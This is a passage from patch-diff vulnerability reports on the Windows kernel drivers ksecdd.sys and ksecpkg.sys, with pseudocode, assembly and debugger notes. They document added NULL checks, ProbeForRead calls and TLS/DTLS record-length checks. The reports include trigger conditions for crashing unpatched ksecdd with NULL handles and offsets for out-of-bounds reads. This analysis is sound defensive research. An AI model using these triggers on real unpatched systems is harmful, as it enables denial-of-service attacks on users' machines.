Patched: the handler calls ProbeForRead first (and, for KsecIoctlHandleFunctionReturn/KsecIoctlClientCallback, captures the buffer into kernel memory) before use.

3. Pseudocode Diff

EncryptMessage (SSPI SealMessage) — representative of the message/context dispatch fix

// UNPATCHED EncryptMessage @ 0x1C00262D0
uint64_t EncryptMessage(int64_t* phContext, int32_t arg2, int64_t pMessage, int32_t arg4)
{
    KsecddLsaStateRef ref;                 // constructed, IsValid() checked
    _KSECDDLSASTATE* state = ref;          // operator _KSECDDLSASTATE*
    int64_t table = state->[0x1c8];        // dispatch table base
    if (!table) return 0xC0000001;
    uint64_t index = *phContext;           // <-- no NULL check on phContext
    if (index >= state->[0x1d0])           // unsigned upper-bound only
        return 0x80090301;
    void* entry = table[index];            // no NULL check
    return (entry->[0x30])(phContext[1], arg2, pMessage, arg4);   // CFG-guarded call, no fn-ptr NULL check
}

// PATCHED EncryptMessage @ 0x180029A70
uint64_t EncryptMessage(int64_t* phContext, int32_t arg2, int64_t pMessage, int32_t arg4)
{
    if (phContext == NULL) return 0x80090301;      // NEW
    if (pMessage  == NULL) return 0x80090301;      // NEW
    uint64_t index = *phContext;
    void* pkgarg  = phContext[1];
    KsecddLsaStateRef ref; _KSECDDLSASTATE* state = ref;
    if (!state->[0x1c8]) return 0xC0000001;
    if (index >= state->[0x1d0]) return 0x80090301;
    _lfence();                                      // NEW: speculation barrier
    void* entry = state->[0x1c8][index];            // NEW: table base reloaded post-check
    if (entry == NULL) return 0x80090301;           // NEW
    void* fn = entry->[0x30];
    if (fn == NULL) return 0x80090302;              // NEW
    return fn(pkgarg, arg2, pMessage, arg4);        // CFG-guarded call
}

SspiAcceptSecurityContextAsync — new output-buffer-count check

// PATCHED (added):
if (pOutput->cBuffers > 0x12)        // cmp dword [r15+0x4], 0x12 / ja error
    return 0x8009035D;               // SEC_E_INVALID_TOKEN
// UNPATCHED: no such check; delegates directly to KsecProcessSecurityContext

ImportSecurityContextW — new NULL checks

// PATCHED (added):
if (pPackedContext == NULL || phContext == NULL) {
    // cleanup
    return 0xC000000D;               // STATUS_INVALID_PARAMETER
}
// UNPATCHED: phContext dereferenced (phContext->dwUpper = ...) without a NULL check

KsecIoctlFreeVm — new ProbeForRead (Finding 6)

// UNPATCHED KsecIoctlFreeVm @ 0x1C000E91C
if (a1 == NULL || a2 != 16) return 0xC000000D;
void* h = *a1;                                   // <-- deref of caller buffer, no ProbeForRead
status = ObReferenceObjectByHandle(h, 0, PsProcessType, 0, &Object, NULL);
...

// PATCHED KsecIoctlFreeVm @ 0x18000E168
if (a1 == NULL || a2 != 16) return 0xC000000D;
ProbeForRead(a1, 0x10, 8);                        // NEW
Handle = *a1;
status = ObReferenceObjectByHandle(Handle[0], 0, PsProcessType, 0, &Object, NULL);
...

KsecIoctlHandleFunctionReturn — double-fetch / TOCTOU fix (Finding 6)

// UNPATCHED @ 0x1C0006898
if ((unsigned)a2 < 0x10) return 0xC0000023;
if (a1 == 0)             return 0xC000000D;
...
if (a1 + size > MmUserProbeAddress || a1 + size < a1)   // force-fault touch of range end only
    *(BYTE*)MmUserProbeAddress = 0;
v5 = CallInProgressCompleted(a1, a1, size);              // <-- raw user pointer forwarded

// PATCHED @ 0x180006728
if ((unsigned)Size < 0x10) return 0xC0000023;
if (Src == NULL)           return 0xC000000D;
...
ProbeForRead(Src, size, 1);                              // NEW
Pool = ExAllocatePool2(256, size, ...);
if (Pool) {
    RtlCopyFromUser(Pool, Src, size);                    // NEW: capture to kernel copy
    v7 = CallInProgressCompleted(Pool, Pool, size);      // operates on kernel copy
    ...
}

4. Assembly Analysis

EncryptMessage — Unpatched vs Patched

Unpatched (ksecdd_unpatched.sys @ 0x1C00262D0):

00000001C0026311  mov     r8, [rax+1C8h]        ; r8 = dispatch table base
00000001C0026318  test    r8, r8
00000001C002631B  jz      loc_1C0026370         ; table NULL -> 0xC0000001
00000001C002631D  mov     rdx, [rbx]            ; rdx = *phContext (rbx=phContext) — NO NULL check
00000001C0026320  mov     ecx, [rax+1D0h]       ; ecx = entry count
00000001C0026326  cmp     rdx, rcx
00000001C0026329  jnb     short loc_1C0026377   ; unsigned upper-bound only; no lfence
00000001C002632B  mov     rax, [r8+rdx*8]       ; entry = table[index] — NO NULL check
00000001C002633B  mov     rax, [rax+30h]        ; fn = entry->[0x30] — NO NULL check
00000001C002633F  call    cs:__guard_dispatch_icall_fptr   ; CFG-guarded indirect call

Patched (ksecdd_patched.sys @ 0x180029A70):

0000000180029A80  test    rcx, rcx              ; NULL check phContext (arg1)
0000000180029A83  jnz     short loc_180029A93
0000000180029A85  mov     eax, 80090301h        ; SEC_E_INVALID_HANDLE
0000000180029A93  test    rbx, rbx              ; NULL check pMessage (arg3; rbx=r8)
0000000180029A96  jz      short loc_180029A85
0000000180029AD8  mov     eax, [rax+1D0h]       ; entry count
0000000180029ADE  cmp     rbp, rax              ; rbp = *phContext (index)
0000000180029AE1  jnb     short loc_180029B45
0000000180029AE3  lfence                        ; NEW: speculation barrier
0000000180029AE6  mov     rax, [rcx+1C8h]        ; NEW: reload table base after check
0000000180029AED  mov     rcx, [rax+rbp*8]       ; entry = table[index]
0000000180029AF1  test    rcx, rcx               ; NEW: NULL check entry
0000000180029AF4  jz      short loc_180029B45
0000000180029AF6  mov     rax, [rcx+30h]         ; fn = entry->[0x30]
0000000180029AFA  test    rax, rax               ; NEW: NULL check fn ptr
0000000180029AFD  jz      short loc_180029B30
0000000180029B0A  call    _guard_dispatch_icall  ; CFG-guarded indirect call

DecryptMessage — Unpatched vs Patched

Unpatched (@ 0x1C0026210):

00000001C0026252  mov     r8, [rax+1C8h]        ; table base
00000001C0026259  test    r8, r8
00000001C002625C  jz      short loc_1C00262B2
00000001C002625E  mov     rdx, [rbx]            ; *phContext — NO NULL check on rbx
00000001C0026261  mov     ecx, [rax+1D0h]       ; count
00000001C0026267  cmp     rdx, rcx
00000001C002626A  jnb     short loc_1C00262B9   ; upper bound only
00000001C002626C  mov     rax, [r8+rdx*8]       ; entry — NO NULL check
00000001C002627D  mov     rax, [rax+38h]        ; fn ptr (offset 0x38) — NO NULL check
00000001C0026281  call    cs:__guard_dispatch_icall_fptr

Patched (@ 0x180029D00):

0000000180029D11  test    rcx, rcx              ; NULL check phContext
0000000180029D14  jz      loc_180029DBC         ; -> SEC_E_INVALID_HANDLE
0000000180029D1A  test    rdx, rdx              ; NULL check message arg
0000000180029D1D  jz      loc_180029DBC
0000000180029D6E  lfence                        ; NEW
0000000180029D71  mov     rax, [rcx+1C8h]        ; NEW: reload table base
0000000180029D78  mov     rcx, [rax+rbp*8]       ; entry
0000000180029D7C  test    rcx, rcx               ; NEW: NULL check entry
0000000180029D7F  jz      short loc_180029DDF
0000000180029D81  mov     rax, [rcx+38h]         ; fn ptr (offset 0x38)
0000000180029D85  test    rax, rax               ; NEW: NULL check fn ptr
0000000180029D88  jz      short loc_180029DD1
0000000180029D96  call    _guard_dispatch_icall

QuerySecurityContextToken — Unpatched

Unpatched (@ 0x1C0026010):

00000001C002604C  mov     rdx, [rax+1C8h]       ; table base
00000001C0026053  test    rdx, rdx
00000001C0026056  jz      loc_1C002656A
00000001C002605C  mov     rcx, [rbx]            ; *phContext — NO NULL check on rbx
00000001C002605F  mov     eax, [rax+1D0h]       ; count
00000001C0026065  cmp     rcx, rax
00000001C0026068  jnb     short loc_1C00260D8   ; upper bound only
00000001C002606A  mov     rax, [rdx+rcx*8]      ; entry — NO NULL check
00000001C002607A  mov     rax, [rax+40h]        ; fn ptr (offset 0x40) — NO NULL check
00000001C002607E  call    cs:__guard_dispatch_icall_fptr
; on success, NtDuplicateObject duplicates the returned token handle at 0x1C00260B2

Patched (@ 0x180029390): adds a NULL check on phContext and delegates the dispatch to KernelPackageCallValidatorWorkers::CallValidator<…>::InvokeById at 0x180029C10, which performs the bounds check, lfence, table reload, entry-NULL and function-pointer-NULL checks:

; ---- InvokeById (0x180029C10), offset-0x40 slot ----
0000000180029C60  mov     ecx, [rax+1D0h]       ; count
0000000180029C66  cmp     rbx, rcx
0000000180029C69  jnb     short loc_180029CE7
0000000180029C6B  lfence                         ; speculation barrier
0000000180029C6E  mov     rcx, [rax+1C8h]         ; reload table base
0000000180029C75  mov     rax, [rcx+rbx*8]        ; entry
0000000180029C79  test    rax, rax               ; NULL check entry
0000000180029C7C  jz      short loc_180029CE7
0000000180029C7E  mov     rax, [rax+40h]          ; fn ptr (offset 0x40)
0000000180029C82  test    rax, rax               ; NULL check fn ptr
0000000180029C85  jz      short loc_180029CB9
0000000180029C90  call    _guard_dispatch_icall

KsecIoctlFreeVm — added ProbeForRead (Finding 6)

Unpatched (@ 0x1C000E91C) reads the caller buffer with no probe (leads straight to ObReferenceObjectByHandle at 0x1C000E963).

Patched (@ 0x18000E168):

000000018000E184  mov     edx, 10h              ; Length
000000018000E189  cmp     r8d, edx
000000018000E18C  jnz     loc_18000E313
000000018000E192  lea     r8d, [rdx-8]          ; Alignment = 8
000000018000E196  call    cs:__imp_ProbeForRead ; NEW
000000018000E1A2  movups  xmm0, xmmword ptr [rbx]; deref of caller buffer AFTER probe
000000018000E1A5  movdqu  xmmword ptr [rsp+58h+Handle], xmm0

Function-pointer offset table (SSPI dispatch)

Function	Fn-ptr offset	Notes
`EncryptMessage`	`+0x30`	SealMessage dispatch
`DecryptMessage`	`+0x38`	UnsealMessage dispatch
`QuerySecurityContextToken`	`+0x40`	via `InvokeById` `0x180029C10` (patched)
`ImpersonateSecurityContext`	`+0x40`	via `InvokeById` `0x180029C10` (patched)
`DeleteUserModeContext`	`+0x08`	via `InvokeById` `0x180029960` (patched)
`ProcessSecurityContextUnMarshalResponse`	`+0x10`	internal unmarshal dispatch

5. Trigger Conditions

Trigger A: NULL Context Handle → BSOD (local DoS) — Finding 1

Invoke a kernel SSP message/context routine (EncryptMessage/DecryptMessage/QuerySecurityContextToken/ImpersonateSecurityContext) with a NULL PCtxtHandle.
In the unpatched build the routine executes mov reg, [phContext] with phContext == NULL, faulting in kernel mode.
Result: kernel bugcheck (local DoS). The patched build returns SEC_E_INVALID_HANDLE (0x80090301).

Trigger B: NULL output handle → BSOD (local DoS) — Finding 5

Call ImportSecurityContextW with a NULL phContext (output handle).
Unpatched: phContext->dwUpper = … dereferences NULL → bugcheck.
Patched: returns STATUS_INVALID_PARAMETER (0xC000000D).

Trigger C: Unvalidated input-buffer pointer — Finding 6

Reach the ksecdd fast-I/O device-control interface with one of the CNG kernel IOCTL codes and an input-buffer pointer that is not a valid user-mode range.
Unpatched: the handler dereferences the pointer with no ProbeForRead.
Patched: ProbeForRead rejects a non-user-mode / invalid buffer address before the dereference.

Findings 2 and 3 have no trigger: the IOCTL 0x398000 and 0x390058 handlers are unchanged between builds and are not affected by this patch.

6. Impact Assessment

Finding 1 — NULL dereference / dispatch hardening

The concrete, demonstrable primitive is a local kernel NULL-pointer dereference (BSOD) when a NULL context handle is passed. The dispatch index is subject to an unsigned upper-bound check in both builds, so an out-of-bounds table read is not reachable through the index alone; the added lfence is a speculative-execution (bounds-check-bypass) barrier, and the added entry/function-pointer NULL checks are defense-in-depth on the CFG-guarded call site. No out-of-bounds write, information leak, or code-execution primitive is demonstrable from these changes.

Finding 4 — output-buffer-count check

A defensive upper bound (cBuffers ≤ 0x12) on a caller-supplied output SecBufferDesc. The value is not attacker-controlled network data, and no overflow is demonstrable in the unpatched build.

Finding 5 — ImportSecurityContextW NULL checks

Local NULL-pointer dereference (BSOD) if a caller passes a NULL packed-context or output-handle argument.

Finding 6 — missing ProbeForRead

Dereference of an unvalidated caller-supplied pointer in kernel mode. Because the handle read from the buffer is separately validated (ObReferenceObjectByHandle with PsProcessType) and addresses are checked against ksecdd's own allocation list (KsecRemoveValidVm), the practical impact is an invalid-address fault or a bounded (16-byte) read from a caller-named address; the added ProbeForRead closes the missing user-mode-range check.

7. Debugger Notes

Finding 1 — EncryptMessage NULL dereference

bp ksecdd!EncryptMessage

At entry, rcx = phContext (arg1) and r8 = pMessage (arg3). In the unpatched build the faulting instruction is mov rdx, [rbx] at 0x1C002631D (where rbx = phContext). Struct offsets used by the dispatch:

Offset	Field	Notes
`+0x00` (context handle)	package index	`*phContext`, used as the dispatch-table index
`+0x1C8` (LSA state)	dispatch-table base	reloaded post-check in the patched build
`+0x1D0` (LSA state)	entry count	unsigned upper bound (`cmp` / `jnb`)
`+0x30` (entry)	`EncryptMessage` handler
`+0x38` (entry)	`DecryptMessage` handler
`+0x40` (entry)	`QuerySecurityContextToken` / `ImpersonateSecurityContext` handler
`+0x08` (entry)	`DeleteUserModeContext` handler
`+0x10` (entry)	`ProcessSecurityContextUnMarshalResponse` handler

Finding 6 — ProbeForRead in KsecIoctlFreeVm

bp ksecdd!KsecIoctlFreeVm

At entry, rcx = a1 (caller input buffer). In the patched build (0x18000E168), ProbeForRead(a1, 0x10, 8) runs at 0x18000E196 before movups xmm0, [rbx] at 0x18000E1A2; the unpatched build (0x1C000E91C) dereferences the buffer with no probe.

SspiAcceptSecurityContextAsync — output-count check

bp ksecdd!SspiAcceptSecurityContextAsync

The patched check is cmp dword ptr [r15+4], 12h at 0x1800241E4, ja 0x1800242BC. SecBufferDesc.cBuffers is at offset +0x4 (ulVersion at +0x0, pBuffers at +0x8).

8. Changed Functions — Full Triage

Security-Relevant Changes

Function	Change Type	Notes
`EncryptMessage` (SealMessage)	Security	Added NULL checks on `phContext`/message arg, `lfence`, table reload, entry-NULL and fn-ptr NULL checks (offset `0x30`).
`DecryptMessage` (UnsealMessage)	Security	Same pattern; fn-ptr offset `0x38`.
`QuerySecurityContextToken`	Security	Added `phContext` NULL check; dispatch moved to validating `InvokeById` `0x180029C10` (offset `0x40`).
`ImpersonateSecurityContext`	Security	Added `phContext` NULL check (returns `0xC000000D`); dispatch moved to `InvokeById` `0x180029C10`; then `PsImpersonateClient`.
`DeleteUserModeContext` (`sub_1c001e190`)	Security	Already had arg1 and fn-ptr NULL checks; gained `lfence`, table reload, entry-NULL check via `InvokeById` `0x180029960` (offset `0x08`).
`ProcessSecurityContextUnMarshalResponse` (`sub_1c001fac0`)	Security	Internal async-response unmarshaller; same dispatch hardening; fn-ptr offset `0x10`.
`SspiAcceptSecurityContextAsync`	Security	Added `cBuffers > 0x12` check and NULL checks on context/credential handles; restructured.
`ImportSecurityContextW`	Security	Added NULL checks on `pPackedContext`/`phContext`.
`KsecIoctlHandleFunctionReturn`, `KsecIoctlClientCallback`	Security	Raw user pointer replaced by `ProbeForRead` + `RtlCopyFromUser` into a kernel copy (double-fetch / TOCTOU fix).
`KsecIoctlAllocVm`, `KsecIoctlFreeVm`, `KsecIoctlCopyVm`, `KsecIoctlAllocPool`, `KsecIoctlFreePool`, `KsecIoctlCopyPool`, `KsecIoctlDupLsaHandle`, `KsecIoctlInsertProtectedProcessAddress`, `KsecIoctlRemoveProtectedProcessAddress`, `KsecCopyVirtualMemory`	Security	Added `ProbeForRead` on caller input buffer before dereference (0 → 24 `ProbeForRead` calls binary-wide).
`KsecUpdateUserTokenSessionId`	New handler	Present only in the patched build; part of the same probing wave (no unpatched counterpart).

No Security-Relevant Change

Function	Change Type	Notes
`KsecDispatch` (`sub_1c001e8c0` → `0x180026dc0`)	Refactor	IOCTL `0x398000` and `0x390058` handlers functionally identical between builds (see Findings 2 and 3). Diff is refactoring (`InitSecurityInterfaceW` → `CreateClient`, extension-dispatch signature, `IoctlIpcGetQueuedFunctionCalls`).
`AcceptSecurityContext`	Cosmetic	Thin wrapper updated to call the restructured worker.
`KsecProcessSecurityContext` (`sub_1c001e260`)	Behavioral	Token-duplication / process-token-query paths refactored; helper-call renumbering. Not a security fix.

The remaining changed functions are register-allocation, compiler-optimization, and inlining differences from the recompilation, plus WPP/ETW tracing churn; none are security-relevant.

9. Unmatched Functions

No functions were added or removed (unmatched_unpatched: 0, unmatched_patched: 0). The patched build introduces the shared dispatch-validation helpers KernelPackageCallValidatorWorkers::CallValidator<…>::InvokeById (0x180029C10, 0x180029960), which replace the inline dispatch-table indexing inside already-matched functions rather than appearing as standalone unmatched entries.

10. Confidence & Caveats

Finding 1 (NULL deref / dispatch hardening): High confidence in the mechanism. The added NULL checks, lfence, table reload, and entry/fn-ptr NULL checks are all present in the patched disassembly and absent in the unpatched. Impact is a local NULL-deref DoS; no OOB or code-execution primitive is demonstrable.
Finding 2 (IOCTL 0x398000) and Finding 3 (IOCTL 0x390058): High confidence that there is no security-relevant change — both handlers are functionally identical in the two builds.
Finding 4 (output-count check): The cBuffers > 0x12 check is genuinely added, but the input is a caller-supplied output descriptor and no overflow is demonstrable; treated as a defensive bound.
Finding 5 (ImportSecurityContextW): The NULL checks are genuinely added; the function-pointer NULL check exists in both builds.
Finding 6 (ProbeForRead): High confidence the probes were added (0 → 24 binary-wide). Practical impact is bounded by the existing ObReferenceObjectByHandle/KsecRemoveValidVm validation; precise reachability of the fast-I/O interface by an unprivileged caller depends on the device ACL and the protected-process gating in KsecFastIoDeviceControl.

ksecpkg.sys — Missing minimum-length validation before TLS/DTLS record header reads (CWE-125) fixed

2026-06-29T00:00:00-07:00

1. Overview

Item	Value
Title	ksecpkg.sys — Windows Kernel Security Support Provider (Schannel TLS/DTLS record decryption)
Unpatched binary	`ksecpkg_unpatched.sys` (image base `0x1c000000`)
Patched binary	`ksecpkg_patched.sys` (image base `0x140000000`)
Overall similarity	0.6942
Matched functions	458
Changed	294
Identical	164
Unmatched (unpatched)	0
Unmatched (patched)	0

Diff statistics: 164 fully identical functions, 294 changed, 0 added, 0 removed (per the reported match set; the raw function-header counts are 490 in the unpatched image and 535 in the patched image, reflecting new C++/library symbols the patched build introduces).

One-sentence verdict: The patch adds explicit minimum-record-length checks (>= 5 for a TLS record header, >= 0xD/13 for a DTLS record header) before the Schannel record-decryption handlers dereference fixed header byte offsets of an attacker-supplied record; the unpatched build guarded those reads only with a cipher-overhead comparison that does not guarantee the record is long enough, allowing an out-of-bounds read of the input buffer for a truncated record. The two functions originally flagged in this report (DigestKernelHTTPHelper and strcat_s) are, on inspection, semantics-preserving compiler churn and carry no security-relevant change.

2. Vulnerability Summary

Finding #1 — Missing minimum-length check before TLS/DTLS record header reads (MEDIUM) — the delivered fix

Severity: Medium
CWE: CWE-125 (Out-of-bounds Read)
Class: Missing length validation before fixed-offset dereference of attacker-controlled input
Functions (matched; patched build is stricter):
Tls13DecryptHandler @ 0x1C000ADC4 (unpatched) ↔ 0x140001680 (patched)
TlsDecryptHandler @ 0x1C0001770 ↔ 0x140001980
SslUnsealMessageStream @ 0x1C0001330 ↔ 0x140001120
SslUnsealMessageConnection @ 0x1C000A6BC ↔ 0x140004D50
plus a new extracted helper TlsDecryptMessage in the patched build that carries the same checks
Entry point: Schannel record decryption on an established TLS/DTLS context (SslUnsealMessage* / Tls*DecryptHandler), processing an inbound encrypted record whose bytes are attacker-controlled.

Root cause. These handlers parse an inbound TLS/DTLS record. They read fixed byte offsets from the record buffer to determine the record type/version and the declared record length: offsets +1, +3, +4 for a TLS record header (needs at least 5 bytes) and offsets +0xB and +0xC for a DTLS record header (needs at least 13 bytes, because the DTLS record header carries the sequence bytes there). In the unpatched build the only length check performed before these reads is cbBuffer >= cipher_overhead, where cipher_overhead is a context-derived value (ctx[0x40] + ctx[0x44]). That comparison does not guarantee the record contains the bytes at the fixed header offsets, so a truncated record that satisfies cbBuffer >= cipher_overhead but is shorter than the header still reaches movzx ..., byte ptr [rec+0xB] / [rec+0xC] (or [rec+3]/[rec+4]), reading past the end of the input buffer.

The patched build inserts an explicit minimum-length gate immediately before those reads:

cmp <record-length>, 5 / jb <error> before the TLS header reads, and
cmp <record-length>, 0Dh / jb <error> before the DTLS header reads,

returning STATUS_INVALID_TOKEN (0x80090318) for a record too short to hold the header. The same two constants are added at every record-parse entry point listed above.

This is an out-of-bounds read (the header bytes feed a record-length computation that is then re-validated against cbBuffer), not a write. Impact is a kernel out-of-bounds read of a few bytes adjacent to the record buffer; the leaked bytes influence a length that is subsequently bounds-checked, so the primary risk is a read fault / limited information influence rather than a controlled disclosure. Reachability of a true out-of-bounds access depends on the negotiated cipher's cipher_overhead being smaller than the header length; the fix adds the header-length floor unconditionally across all entry points.

Finding #2 — Digest kernel helper element loop (NO SECURITY-RELEVANT CHANGE)

Severity: None (was reported High)
Class: Compiler refactoring of a semantically-equivalent condition
Function: DigestKernelHTTPHelper @ 0x1C0006F00 (unpatched) ↔ 0x14000956C (patched)

What actually happens. The function copies selected entries from a fixed internal 24-entry table at [arg1+0xA2] into a local scratch structure. The loop counter edx is initialized to 0 (from the zeroed r12d) and iterated while edx < 0x18 (24) — a compile-time constant, not a value taken from any token. edx is the loop index, not an element "type" from attacker input. Both builds copy an entry only when the index is not one of {7, 8, 10} and the entry's leading word ([rcx-2]) is non-zero:

Unpatched expresses the skip set as (edx-7) & 0xFFFFFFFC == 0 (i.e. edx ∈ {7,8,9,10}) combined with edx != 9, selecting exactly {7,8,10}.
Patched expresses the identical skip set as edx == 8, edx == 10, edx == 7.

These cover the identical value set {7,8,10}; no index is newly rejected or accepted, and the copy targets/strides/null-check are unchanged. The only other differences are that the patched build inlined the sequence-number helper DigestKernelGetNextSeqNumber (@ 0x1C0006E90), whose body performs the same fast-mutex-protected increment of the counter at [ctx+0x54], and register reallocation (rsi/rdi swapped). No behavioral change, no added/removed validation, no reachable primitive.

Finding #3 — `strcat_s` bounded concatenation (NO SECURITY-RELEVANT CHANGE)

Severity: None (was reported Medium)
Class: Dead-code removal / compiler churn
Function: strcat_s @ 0x1C0003480 (unpatched) ↔ 0x140005768 (patched)

What actually happens. This is a standard bounded string-concatenation routine (char *dst, rsize_t SizeInBytes, const char *Src). The copy loop writes one byte, returns success on the source NUL, otherwise decrements SizeInBytes and, at 0, returns error 34 (ERANGE) and resets *dst = 0. It performs exactly SizeInBytes - strlen(dst) writes, all in bounds. There is no off-by-one in either build. The unpatched and patched decompilations are logically identical; the only instruction-level delta is removal of dead instructions (mov rax,rdx; test rax,rax in the scan loop and an unreachable test rdx,rdx; jnz in the copy loop where rdx is provably 0). The reported "else if (!arg2) break" one-iteration-late break does not exist; it is a misreading of that dead pair. Every caller supplies a compile-time constant size (0x3001 / 0x1001), so the bound is not attacker-controlled.

3. Pseudocode Diff

Finding #1 — TLS/DTLS record header length gate

// UNPATCHED — reads fixed header offsets guarded only by cipher-overhead
overhead = ctx[0x40] + ctx[0x44];
if (cbBuffer < overhead) return STATUS_INVALID_TOKEN;   // only length check
ver_hi = rec[1];                                        // read offset 1
if (is_dtls(ver_hi)) {
    len = (rec[0xB] << 8) | rec[0xC];                   // reads offsets 11,12 — NO >=13 guard
} else {
    len = (rec[3]   << 8) | rec[4];                     // reads offsets 3,4  — NO >=5 guard
}
if (cbBuffer < len + ctx[0x44]) return STATUS_INVALID_TOKEN;  // re-check AFTER the reads

// PATCHED — explicit minimum record length before the header reads
overhead = ctx[0x40] + ctx[0x44];
if (cbBuffer < overhead) return STATUS_INVALID_TOKEN;
if (cbBuffer < 5)   return STATUS_INVALID_TOKEN;        // NEW: TLS header floor
ver_hi = rec[1];
if (is_dtls) {
    if (cbBuffer < 0xD) return STATUS_INVALID_TOKEN;    // NEW: DTLS header floor (13)
    len = (rec[0xB] << 8) | rec[0xC];
} else {
    len = (rec[3] << 8) | rec[4];
}
if (cbBuffer < len + ctx[0x44]) return STATUS_INVALID_TOKEN;

Finding #2 — `DigestKernelHTTPHelper` element loop (both builds identical in effect)

// UNPATCHED — skip set {7,8,10} via range test + edx!=9
for (edx = 0; edx < 0x18; edx++, entry += 0x10) {       // 0x18 is a constant bound
    if (((edx - 7) & ~3) == 0 && edx != 9) continue;    // edx in {7,8,10} -> skip
    if (entry->w0 == 0) continue;
    out_a[edx] = entry->w0; out_b[edx] = entry->w1; out_c[edx] = *(u64*)&entry->data;
}
// PATCHED — identical skip set {7,8,10} via explicit compares
for (edx = 0; edx < 0x18; edx++, entry += 0x10) {
    if (edx == 8 || edx == 10 || edx == 7) continue;    // same set {7,8,10}
    if (entry->w0 == 0) continue;
    out_a[edx] = entry->w0; out_b[edx] = entry->w1; out_c[edx] = *(u64*)&entry->data;
}

Finding #3 — `strcat_s` (unpatched and patched decompile identically)

if (a1 == nullptr || SizeInBytes == 0) return 22;
if (Src != nullptr) {
    v3 = a1;
    while (*v3 != 0) { ++v3; if (--SizeInBytes == 0) goto err22; }
    v4 = v3 - Src;
    while (1) {
        v5 = *Src; Src[v4] = *Src; ++Src;
        if (v5 == 0) return 0;                              // NUL copied -> done, in bounds
        if (--SizeInBytes == 0) { v6 = 34; goto err; }      // exact boundary -> ERANGE
    }
}

4. Assembly Analysis

Finding #1 — `Tls13DecryptHandler`, header-parse region

; === UNPATCHED (0x1C000AE4C .. 0x1C000AEAC) ===
0x1C000AE4C  mov     r8d, [rsi+4]         ; r8d = cbBuffer (record length)
0x1C000AE50  mov     edx, [rcx+40h]       ; ctx[0x40]
0x1C000AE53  mov     r9d, [rcx+44h]       ; ctx[0x44]
0x1C000AE57  add     edx, r9d             ; edx = cipher overhead
0x1C000AE5E  cmp     r8d, edx
0x1C000AE61  jnb     0x1C000AE70          ; ONLY guard: cbBuffer >= overhead
...error 80090318
0x1C000AE70  movzx   eax, byte ptr [rdi+2]   ; read rec[2]  (no >=3 guard)
0x1C000AE74  movzx   ecx, byte ptr [rdi+1]   ; read rec[1]
0x1C000AE82  cmp     al, 0FEh                ; DTLS version?
0x1C000AE8E  movzx   ecx, byte ptr [rdi+0Bh] ; DTLS: read rec[11]  (no >=13 guard)
0x1C000AE92  movzx   eax, byte ptr [rdi+0Ch] ; DTLS: read rec[12]
0x1C000AE98  movzx   ecx, byte ptr [rdi+3]   ; TLS:  read rec[3]   (no >=5 guard)
0x1C000AE9C  movzx   eax, byte ptr [rdi+4]   ; TLS:  read rec[4]
0x1C000AEA5  lea     r12d, [rcx+r9]          ; declared len + ctx[0x44]
0x1C000AEA9  cmp     r8d, r12d               ; re-check cbBuffer >= len (AFTER the reads)

; === PATCHED (0x1400016F8 .. 0x140001878) ===
0x1400016F8  mov     edx, [rdx+4]         ; edx = cbBuffer (record length)
0x14000170A  cmp     edx, r10d            ; cbBuffer >= overhead (as before)
0x14000170D  jb      0x14000187D          ; -> 80090318
0x140001723  cmp     edx, 5               ; NEW: TLS header floor
0x140001726  jb      0x1400018F3          ; -> [rdi+4]=5, 80090318
0x14000172C  cmp     byte ptr [r14+1], 0FEh
0x14000174F  movzx   ecx, byte ptr [r14+3]   ; TLS read (now guarded by >=5)
0x140001754  movzx   eax, byte ptr [r14+4]
0x140001865  cmp     edx, 0Dh             ; NEW: DTLS header floor (13)
0x140001868  jb      0x140001908          ; -> [rdi+4]=0Dh, 80090318
0x14000186E  movzx   ecx, byte ptr [r14+0Bh] ; DTLS read (now guarded by >=13)
0x140001873  movzx   eax, byte ptr [r14+0Ch]

The unpatched function contains no cmp <length-register>, 5 or cmp <length-register>, 0Dh anywhere; the reads at offsets 0xB/0xC and 3/4 are reached with only the cipher-overhead comparison in front of them. The patched function adds both floors before the corresponding reads.

Same fix, same two constants, at every record-parse entry point (patched addresses; the corresponding unpatched functions contain neither compare):

Function	Patched `cmp …, 5`	Patched `cmp …, 0Dh`
`TlsDecryptHandler` @ `0x140001980`	`0x1400019FD`	`0x140001A3A`
`SslUnsealMessageStream` @ `0x140001120`	`0x140001234`, `0x14000154E`	`0x140001385`, `0x140001587`
`SslUnsealMessageConnection` @ `0x140004D50`	`0x140004F8F`	`0x140004FDC`

Unpatched header reads that these floors now guard (examples): TlsDecryptHandler reads [r8+0Bh]/[r8+0Ch] @ 0x1C00051D9/0x1C00051DE; SslUnsealMessageStream reads [rdx+0Bh]/[rdx+0Ch] @ 0x1C00014F0/0x1C00014F4; SslUnsealMessageConnection reads [rdi+0Bh]/[rdi+0Ch] @ 0x1C000A8FC/0x1C000A900 — none preceded by a >= 5/>= 0xD compare in the unpatched build.

Finding #2 — `DigestKernelHTTPHelper` loop tail (both builds; equivalent)

; === UNPATCHED (0x1C00071E3) ===              ; === PATCHED (0x14000986B) ===
lea   eax, [rdx-7]                              cmp   edx, r11d        ; r11d = 8
test  eax, 0FFFFFFFCh   ; edx in {7,8,9,10}?    jz    0x1400098A4      ; edx==8 -> skip
jnz   0x1C00071F2       ; not in set -> copy    cmp   edx, 0Ah
cmp   edx, r11d         ; edx == 9?             jz    0x1400098A4      ; edx==10 -> skip
jnz   0x1C000721C       ; edx in {7,8,10}->skip cmp   edx, 7
                                                jz    0x1400098A4      ; edx==7 -> skip
; both then copy indices 0-6,9,11-23 when [rcx-2] != 0; stride 0x10; bound cmp edx,18h

The patched build also inlines the sequence-number counter; the inlined body matches the unpatched helper DigestKernelGetNextSeqNumber @ 0x1C0006E90 instruction-for-instruction (same KeEnterCriticalRegion / ExAcquireFastMutexUnsafe / inc [ctx+54h] / release / leave).

Finding #3 — `strcat_s` copy loop (both builds; equivalent)

; === UNPATCHED (0x1C00034B4) ===              ; === PATCHED (0x1400057B4) ===
mov   al, [r8]                                  mov   al, [r8]
mov   [r9+r8], al                               mov   [r9+r8], al
inc   r8                                        inc   r8
test  al, al                                    test  al, al
jz    0x1C00034D2   ; NUL -> success            jz    0x1400057CD   ; NUL -> success
sub   rdx, 1                                    sub   rdx, 1
jnz   0x1C00034B4                               jnz   0x1400057B4
test  rdx, rdx      ; DEAD (rdx==0)             lea   ebx, [rdx+22h] ; 34 = ERANGE
jnz   0x1C00034D2   ; DEAD (never taken)
lea   ebx, [rdx+22h] ; 34 = ERANGE

Identical write-then-decrement-then-check order; the unpatched-only test rdx,rdx; jnz pair is unreachable and was removed.

5. Trigger Conditions

Finding #1 (TLS/DTLS record OOB read)

